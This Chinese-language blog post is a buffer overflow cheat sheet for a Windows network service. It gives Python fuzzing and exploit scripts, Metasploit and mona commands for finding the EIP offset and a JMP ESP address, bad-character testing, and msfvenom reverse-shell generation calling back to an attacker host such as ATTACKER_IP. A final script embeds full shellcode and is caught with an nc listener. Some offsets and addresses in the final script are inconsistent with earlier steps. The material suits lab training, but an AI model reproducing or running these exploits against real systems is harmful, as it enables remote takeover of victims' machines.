Please enable Javascript to view the contents

缓冲区溢出 备忘录

 ·  ☕ 4 分钟  ·  ✍️ IceKam · 👀... 阅读

简介

这是一个缓冲区溢出 的备忘录,涵盖了常用姿势。

身份识别

第一步是识别漏洞。您可以调试该应用并使用较大的字符串对其进行模糊处理,并确定导致崩溃的大约长度。我们可以编写如下脚本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
import socket
## Create an array of buffers, from 10 to 2000, with increments of 20.
counter = 100
fuzz_strings = ["A"]
while len(fuzz_strings) <= 30:
    fuzz_strings.append("A" * counter)
    counter = counter + 200
for fuzz in fuzz_strings:
    print "Fuzzing with %s bytes" % len(fuzz)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connect = s.connect(('192.168.0.9', 80))
    s.send('GET ' + fuzz + '\r\n\r\n' )
    print s.recv(1024)
    s.close()

我们运行脚本,发现应用程序在发送长度为2700的字符串时会崩溃,因此我们知道缓冲区位于25002700之间。

寻找EIP

第二步是在EIP寄存器之前找到缓冲区的确切大小。我们可以通过生成具有唯一字符序列的字符串并使用调试器来查找覆盖EIP寄存器的值来实现此目的。我们创建字符串如下:

1
$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2700

我们将字符串添加到脚本中:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer='STRING'
try:
    print "\nSending evil buffer..."
    s.connect(('192.168.0.9', 80))
    s.send('GET ' + buffer + '\r\n\r\n')
    print s.recv(1024)
    print "\nDone!."
except:
    print "Could not connect"

发送有效负载并找到EIP的值,并使用以下命令找到所需的确切长度:

[*] Exact match at offset 2606

我们知道EIP之前的缓冲区大小是2606。

查找JMP ESP

我们的目标是在堆栈的开头注入一个shellcode,用ESP的地址替换EIP,并使执行流程重定向到我们的shellcode。问题在于每次执行时堆栈中加载的数据量都会变化,因此我们无法预测ESP地址的值。我们可以通过从没有DESASLR的模块的内存中找到一条JMP ESP指令来解决此问题,并将我们的EIP更改为指向该地址。

要查找没有ASLR和DES的模块,可以在ImmunityDebugger中运行:

!mona modules

现在,通过运行以下命令,可以看到asm JMP_ESP在机器代码中的外观:

1
2
3
4
## /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
nasm > jmp esp
    00000000 FFE4 jmp esp
nasm >

现在,您可以找到具有以下内容的FFE4

1
!mona find -s '\xff\xe4' -m module.dll

由于x86是低端字节序,它将找到一些加法器,例如0x5f4a358f,要使其从堆栈中正确读取,我们需要将其编码为\x8f\x35\x4a\x5f。

Padding + JMP ESP + shellcode

使用以前的缓冲区大小和地址:

'A' * 2606 + \x8f\x35\x4a\x5f + 'C' * 400

因此,新漏洞利用如下所示:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer = 'A' * 2606 + \x8f\x35\x4a\x5f + 'C' * 400
try:
    print "\nSending evil buffer..."
    s.connect(('192.168.0.9', 80))
    s.send('GET ' + buffer + '\r\n\r\n')
    print s.recv(1024)
    print "\nDone!."
except:
    print "Could not connect"

我们将在该内存位置5f4a358f设置一个断点,然后运行新的利用程序。我们进入CPU视图,右键单击,转到表达式和地址。在ImmunityDebugger中按F2设置断点,调试器在发送有效负载时应暂停,并进入下一条指令(F7),应跳到堆栈的顶部,该位置应为400C。如果’C较少, ‘,则输入已被截断,您可能需要更大的缓冲区以适合您的shellcode。

查找characters

下一步是生成一个shellcode。在此之前,我们需要知道应用程序允许使用哪些字符。我们将发送一个包含所有ASCII字符的缓冲区:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10""\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20""\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30""\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40""\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50""\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60""\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70""\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80""\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90""\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0""\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0""\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0""\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0""\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0""\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0""\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
buffer = "A" * 2606 + "B" * 4 + badchars
try:
    print "\nSending evil buffer..."
    s.connect(('192.168.0.10', 110))
    s.send('GET ' + buffer + '\r\n\r\n')
    print s.recv(1024)
    s.close()
    print "\nDone!"
except:
    print "Could not connect"

我们运行它,右键单击ESP地址,然后按照转储查找应用程序截断的潜在坏字符。我们应该看到完整的ASCII字符空间。一些字符更可能被截断(例如0x00,因为它是C中字符串定界符的结尾。在Pop3中,新行char 0xA因为它是命令分隔符,依此类推)。
因此,我们知道需要向堆栈中添加多少填充以覆盖EIP,我们知道将执行流重定向到堆栈开头的地址,我们只需创建一个shellcode。

生成shellcode 并反弹

第一步是生成shellcode。您可以在metasploit中列出所有可用的有效负载:

1
$ msfpayload -l

生成反向shell shellcode。

1
$ msfpayload windows/shell_reverse_tcp LHOST=192.168.0.10 LPORT=443  -f c

有效负载将包含非法字符,您可以使用* msfencode *将其过滤掉:

1
$ msfpayload windows/shell_reverse_tcp LHOST=192.168.0.10 LPORT=443 R | msfencode -b "\x00\x0a\x0d"

通用Windows反向Shell:

1
$ msfvenom -p windows/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=443 -f  c -e x86/shikata_ga_nai -b "\x00\x0a\x0d"

最后,您将拥有一个如下的shellcode:

1
2
3
4
root@kali:~/oscp/bo_miniserver## msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.4 LPORT=443 -f  c -e x86/shikata_ga_nai -b "\x00\x0d"
Final size of c file: 1500 bytes
unsigned char buf[] =
"\xbf\x09\x50\xa4\x04\xdb\xd3\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1""\x52\x31\x7e\x12\x83\xc6\x04\x03\x77\x5e\x46\xf1\x7b\xb6\x04""\xfa\x83\x47\x69\x72\x66\x76\xa9\xe0\xe3\x29\x19\x62\xa1\xc5""\xd2\x26\x51\x5d\x96\xee\x56\xd6\x1d\xc9\x59\xe7\x0e\x29\xf8""\x6b\x4d\x7e\xda\x52\x9e\x73\x1b\x92\xc3\x7e\x49\x4b\x8f\x2d""\x7d\xf8\xc5\xed\xf6\xb2\xc8\x75\xeb\x03\xea\x54\xba\x18\xb5""\x76\x3d\xcc\xcd\x3e\x25\x11\xeb\x89\xde\xe1\x87\x0b\x36\x38""\x67\xa7\x77\xf4\x9a\xb9\xb0\x33\x45\xcc\xc8\x47\xf8\xd7\x0f""\x35\x26\x5d\x8b\x9d\xad\xc5\x77\x1f\x61\x93\xfc\x13\xce\xd7""\x5a\x30\xd1\x34\xd1\x4c\x5a\xbb\x35\xc5\x18\x98\x91\x8d\xfb""\x81\x80\x6b\xad\xbe\xd2\xd3\x12\x1b\x99\xfe\x47\x16\xc0\x96""\xa4\x1b\xfa\x66\xa3\x2c\x89\x54\x6c\x87\x05\xd5\xe5\x01\xd2""\x1a\xdc\xf6\x4c\xe5\xdf\x06\x45\x22\x8b\x56\xfd\x83\xb4\x3c""\xfd\x2c\x61\x92\xad\x82\xda\x53\x1d\x63\x8b\x3b\x77\x6c\xf4""\x5c\x78\xa6\x9d\xf7\x83\x21\x62\xaf\x8b\xb5\x0a\xb2\x8b\xb4""\x71\x3b\x6d\xdc\x95\x6a\x26\x49\x0f\x37\xbc\xe8\xd0\xed\xb9""\x2b\x5a\x02\x3e\xe5\xab\x6f\x2c\x92\x5b\x3a\x0e\x35\x63\x90""\x26\xd9\xf6\x7f\xb6\x94\xea\xd7\xe1\xf1\xdd\x21\x67\xec\x44""\x98\x95\xed\x11\xe3\x1d\x2a\xe2\xea\x9c\xbf\x5e\xc9\x8e\x79""\x5e\x55\xfa\xd5\x09\x03\x54\x90\xe3\xe5\x0e\x4a\x5f\xac\xc6""\x0b\x93\x6f\x90\x13\xfe\x19\x7c\xa5\x57\x5c\x83\x0a\x30\x68""\xfc\x76\xa0\x97\xd7\x32\xd0\xdd\x75\x12\x79\xb8\xec\x26\xe4""\x3b\xdb\x65\x11\xb8\xe9\x15\xe6\xa0\x98\x10\xa2\x66\x71\x69""\xbb\x02\x75\xde\xbc\x06";

shellcode需要在内存中解码,这意味着我们需要堆栈中有额外的空间。我们可以通过在shellcode之前添加一些NOP来实现此目的,因此我们的缓冲区如下所示:

1
"A"*2606 + "\x8f\x35\x4a\x5f" + "\x90" * 8 + shellcode

我们将shellcode添加到先前的Poc中:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
shellcode = (
"\xbf\x09\x50\xa4\x04\xdb\xd3\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1""\x52\x31\x7e\x12\x83\xc6\x04\x03\x77\x5e\x46\xf1\x7b\xb6\x04""\xfa\x83\x47\x69\x72\x66\x76\xa9\xe0\xe3\x29\x19\x62\xa1\xc5""\xd2\x26\x51\x5d\x96\xee\x56\xd6\x1d\xc9\x59\xe7\x0e\x29\xf8""\x6b\x4d\x7e\xda\x52\x9e\x73\x1b\x92\xc3\x7e\x49\x4b\x8f\x2d""\x7d\xf8\xc5\xed\xf6\xb2\xc8\x75\xeb\x03\xea\x54\xba\x18\xb5""\x76\x3d\xcc\xcd\x3e\x25\x11\xeb\x89\xde\xe1\x87\x0b\x36\x38""\x67\xa7\x77\xf4\x9a\xb9\xb0\x33\x45\xcc\xc8\x47\xf8\xd7\x0f""\x35\x26\x5d\x8b\x9d\xad\xc5\x77\x1f\x61\x93\xfc\x13\xce\xd7""\x5a\x30\xd1\x34\xd1\x4c\x5a\xbb\x35\xc5\x18\x98\x91\x8d\xfb""\x81\x80\x6b\xad\xbe\xd2\xd3\x12\x1b\x99\xfe\x47\x16\xc0\x96""\xa4\x1b\xfa\x66\xa3\x2c\x89\x54\x6c\x87\x05\xd5\xe5\x01\xd2""\x1a\xdc\xf6\x4c\xe5\xdf\x06\x45\x22\x8b\x56\xfd\x83\xb4\x3c""\xfd\x2c\x61\x92\xad\x82\xda\x53\x1d\x63\x8b\x3b\x77\x6c\xf4""\x5c\x78\xa6\x9d\xf7\x83\x21\x62\xaf\x8b\xb5\x0a\xb2\x8b\xb4""\x71\x3b\x6d\xdc\x95\x6a\x26\x49\x0f\x37\xbc\xe8\xd0\xed\xb9""\x2b\x5a\x02\x3e\xe5\xab\x6f\x2c\x92\x5b\x3a\x0e\x35\x63\x90""\x26\xd9\xf6\x7f\xb6\x94\xea\xd7\xe1\xf1\xdd\x21\x67\xec\x44""\x98\x95\xed\x11\xe3\x1d\x2a\xe2\xea\x9c\xbf\x5e\xc9\x8e\x79""\x5e\x55\xfa\xd5\x09\x03\x54\x90\xe3\xe5\x0e\x4a\x5f\xac\xc6""\x0b\x93\x6f\x90\x13\xfe\x19\x7c\xa5\x57\x5c\x83\x0a\x30\x68""\xfc\x76\xa0\x97\xd7\x32\xd0\xdd\x75\x12\x79\xb8\xec\x26\xe4""\x3b\xdb\x65\x11\xb8\xe9\x15\xe6\xa0\x98\x10\xa2\x66\x71\x69""\xbb\x02\x75\xde\xbc\x06"
)
buffer = "A" * 1787 + "\x7E\x6E\xEF\x77" + "\x90" * 8 + shellcode
try:
    print "\nSending evil buffer..."
    s.connect(('192.168.0.9', 80))
    s.send('GET ' + buffer + '\r\n\r\n')
    print s.recv(1024)
    print "\nDone!."
except:
    print "Could not connect"

运行:

1
$ nc -lvp 443

我们应该得到一个反向外壳,我们可以调试先前的内存地址以识别潜在的问题。

总结

个人感觉溢出是一门很大的学问!

分享
您的鼓励是我最大的动力
bitcoin QR Code

icekam
作者
IceKam
从来如此,便对么?